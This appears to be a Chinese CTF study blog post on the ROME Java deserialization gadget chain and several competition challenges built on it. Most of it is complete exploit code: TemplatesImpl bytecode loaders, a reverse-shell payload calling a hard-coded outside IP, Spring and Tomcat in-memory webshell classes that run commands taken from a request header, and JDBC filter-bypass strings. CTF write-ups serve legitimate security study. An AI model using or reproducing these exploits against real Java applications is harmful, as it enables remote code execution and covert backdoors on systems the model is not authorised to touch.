ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象,Rome是为RSS聚合而开发的开源包,它可以支持0.91、0.92、0.93、0.94、1.0、2.0,可以说rss的版本基本上都支持

下载地址:https://rometools.github.io/rome/ROMEReleases/ROME1.0Release.html

前置知识

ObjectBean

com.sun.syndication.feed.impl.ObjectBean是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装

ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals、toString、clone 以及 hashCode 方法

看一下 ObjectBean 的hashCode方法,会调用 EqualsBean 的beanHashCode方法

会调用 EqualsBean 中保存的_objtoString()方法

而这个toString()方法也就是触发利用链的地方,继 BadAttributeValueExpException 之后的另一个使用toString()方法触发利用的链

ToStringBean

com.sun.syndication.feed.impl.ToStringBean类从名字可以看出,这个类给对象提供 toString 方法,类中有两个 toString 方法,第一个是无参的方法,获取调用链中上一个类或_obj属性中保存对象的类名,并调用第二个 toString 方法

第二个 toString 方法会调用BeanIntrospector.getPropertyDescriptors()来获取_beanClass的全部 getter/setter 方法,然后判断参数长度为 0 的方法,获取对应的Method,如果它是无参的就使用_obj实例进行反射调用
意思就是会调用所有 getter 方法拿到全部属性值,然后打印出来

由此可见,ToStringBean 的toString()方法可以触发其中_obj实例的全部 getter 方法,可以用来触发 TemplatesImpl 的利用链,调用TemplatesImpl的getOutputProperties进行动态加载字节码来实现命令执行

EqualsBean

在EqualsBean 里,存在与ToStringBean相似的利用,beanEquals 方法

这样可以反射调用getter方法,可以发现equals 方法调用了 beanEquals方法

攻击构造

依赖版本
rome : 1.0

利用 HashMap 反序列化触发 ObjectBean 的 hashCode 方法,再触发 ObjectBean 封装的 ObjectBean 的 toString 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {
public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
// 读取恶意类 bytes[]
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("rome1");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();

// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "name");

// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
ObjectBean delegate = new ObjectBean(Templates.class, tmpl);

// 使用 ObjectBean 封装这个类,使其在调用 hashCode 时会调用 ObjectBean 的 toString
// 先封装一个无害的类
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "test"));

// 放入 Map 中
HashMap<Object, Object> map = new HashMap<>();
map.put(root, "test");
map.put("test", "test");

// put 到 map 之后再反射写进去,避免触发漏洞
Field field = ObjectBean.class.getDeclaredField("_equalsBean");
field.setAccessible(true);
field.set(root, new EqualsBean(ObjectBean.class, delegate));

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./rome"));
outputStream.writeObject(map);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./rome"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

参考:
Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin
ROME 反序列化分析

赛题复现

[D^3CTF]shorter

最近比赛出的一道java rome链反序列化题,这里复现一下

存在baseStr.length() >= 1956,而我们可以看一下通过ysoserial自带的链的长度

很明显长了,那么需要缩短链长度,找到EqualsBean这条链,在cc7里的Hashtable#reconstitutionPut,有使用到equals方法

在这里触发equals方法的,hash表中需要根据hash值来插入,如果要比较,需要满足两个对象的hash值相等

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

第⼀个元素如果比第⼆个元素小1,第⼆个元素就必须比第⼀个元素大31,保证两个值的hash相等
HashMap的equals方法当中,当对象大于1时会转而调用类java.util.AbstractMap#equals

可以很明显看到这里调用了value.equals,这里value是遍历当前HashMap对象的值,m是比较的对象

此时不仅需要满足valueEqualsBean对象,还需要m.get(key)是一个TemplateImpl 对象
把两个map的value颠倒⼀下就可以了,即:("aa"=>bean.equals("aa"=>templates))
最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class RomeSer2 {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
// String cmd = "bash -i >& /dev/tcp/110.42.134.160/6666 0>&1";
String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMTM0LjE2MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}";

//TemplateImpl 动态加载字节码
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("a");
payload.setSuperclass(classPool.get(AbstractTranslet));
// payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \""+cmd+"\"});");
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
byte[] code=payload.toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","a");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_bytecodes",new byte[][]{code});

EqualsBean bean = new EqualsBean(String.class,"a");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())).length());

//反序列化
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bais);
// ois.readObject();
// ois.close();
}
}

发现长度变为1552,短了许多

并且成功执行反弹shell命令

参考:
d3ctf wp汇总

[陇原战”疫”2021]EasyJaba

不出网

首先查看代码,发现存在一个后门

传一个ctf,进行base64解密,然后使用黑名单过滤掉了HashMapBadAttributeValueExpException,最后readObject()触发反序列化
发现存在Rome1.0,并且后面直接调用了toString方法,我们直接使用前面的链子就行了
ezjaba.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class ezjaba {
public static void main(String[] args) throws Exception{
//不出网,加载恶意类的方式
byte[][] evilCode=new byte[][]{ClassPool.getDefault().get(EvilTemplate.class.getName()).toBytecode()};

// 实例化类并设置属性
TemplatesImpl tmpl = new TemplatesImpl();
Field fieldByteCodes = tmpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(tmpl, evilCode);

Field fieldName = tmpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(tmpl, "a");

ObjectBean objectBean1 = new ObjectBean(Templates.class, tmpl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(objectBean1);
byte[] s = byteArrayOutputStream.toByteArray();
out.close();
String exp = Base64.getEncoder().encodeToString(s);
System.out.println(exp);

}
}

回显马参考:https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
EvilTemplate.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package rome;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;

public class EvilTemplate extends AbstractTranslet implements Serializable {
public EvilTemplate() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

}
}

还可以使用Tomcat回显,回显代码参考:https://github.com/feihong-cs/Java-Rce-Echo
Evil.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package rome;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet{
public Evil() throws Exception {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);

for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);

f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List)(f.get(obj));

for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);

str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});

if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
continue;
}
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

}
}

将得到的exp进行urlencode,然后传入得到flag

参考:
ctf中的java题目学习2
陇原战疫2021网络安全大赛 Web

[长城杯2022]b4bycoffee

发现反序列化,并且存在rome1.7.0

但这个反序列化ban掉了rome链最常用的ToStringBean、ObjectBean、BadAttributeValueExpException,那怎么调用到tostring()呢?

rome链不是还存在一个EqualsBean吗,那么思路就很清晰了,但又过滤了TemplatesImpl,不能直接加载恶意类了

继续跟进发现存在CoffeeBean类,该类继承了ClassLoader,所以可以直接动态加载字节码,并且在toString()方法中,看到了defineClass(),之后try中又有个newInstance(),所以只要控制ClassByte的值,就可以任意代码执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.example.b4bycoffee.model.CoffeeBean;
import com.example.b4bycoffee.tools.AntObjectInputStream;
import com.rometools.rome.feed.impl.EqualsBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class exploit {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
CoffeeBean toStringBean = new CoffeeBean();
Class c = toStringBean.getClass();
Field classByteField = c.getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\bmth\\Desktop\\作业\\CTF学习\\java学习\\反序列化\\out\\production\\反序列化\\SpringEcho.class"));
classByteField.set(toStringBean,bytes);

EqualsBean bean = new EqualsBean(String.class,"a");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",toStringBean);
map2.put("zZ",bean);
map2.put("yy",toStringBean);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"beanClass",CoffeeBean.class);
setFieldValue(bean,"obj",toStringBean);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

// InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(new String(Base64.getEncoder().encode(baos.toByteArray()))));
// AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
// antInputStream.readObject();
}
}

加载Spring回显类即可,注意这里传参方式是@RequestBody CoffeeRequest coffee,需要使用json传

[2022安洵杯]ezjaba

拿到源码可以发现存在rome-1.7.0,postgresql-42.3.1,mysql-connector-java-8.0.12 那么很明显就是打rome链了

继续跟进可以发现重写了resolveClass

可以发现没有ban掉ToStringBean,而ToStringBean可以调用getter方法,说明我们需要找一个方法来调用到toString方法
具体可参考:Java代码分析工具Tabby在CTF中的运用
可以看到给出了一条链

1
2
3
4
java.util.HashMap#readObject
java.util.HashMap#putVal
java.lang.Object#equals
com.sun.org.apache.xpath.internal.objects.XString#equals

可以看到HashMap的putVal方法调用了key.equals(k)

使用的是XString的equals方法

但是前提是需要HashMap中key值的hashcode相同,找到org.springframework.aop.target.HotSwappableTargetSource

使用HotSwappableTargetSource的hashcode方法时,返回的是相同的hashcode

最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;
import tools.Evil;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Rome_XString {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static HashMap makeXStringToStringTrigger(Object o) throws Exception {
XString x = new XString("HEYO");
return makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x));
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void main(String[] args) throws Exception{

byte[] bytes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean bean = new ToStringBean(Templates.class,templatesImpl);
HashMap gadgetChain = makeXStringToStringTrigger(bean);

// XString x = new XString("HEYO");
// HashMap map1 = new HashMap();
// HashMap map2 = new HashMap();
// map1.put("aa",bean);
// map1.put("bB",x);
// map2.put("aa",x);
// map2.put("bB",bean);
// HashMap gadgetChain = new HashMap();
// gadgetChain.put(map1,"");
// gadgetChain.put(map2,"");

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(gadgetChain);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

最后就是PostgresQL的一个cve了:PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)
也可以绕过过滤

使用url编码绕过jdbc:mysql,大写绕过autoDeserialize=trueallowLoadLocalInfile=true

1
2
jdbc:%6d%79%73%71%6c
ALLOWLOADLOCALINFILE=true

参考:
[分享]2022第五届“安洵杯”网络安全挑战赛官方WP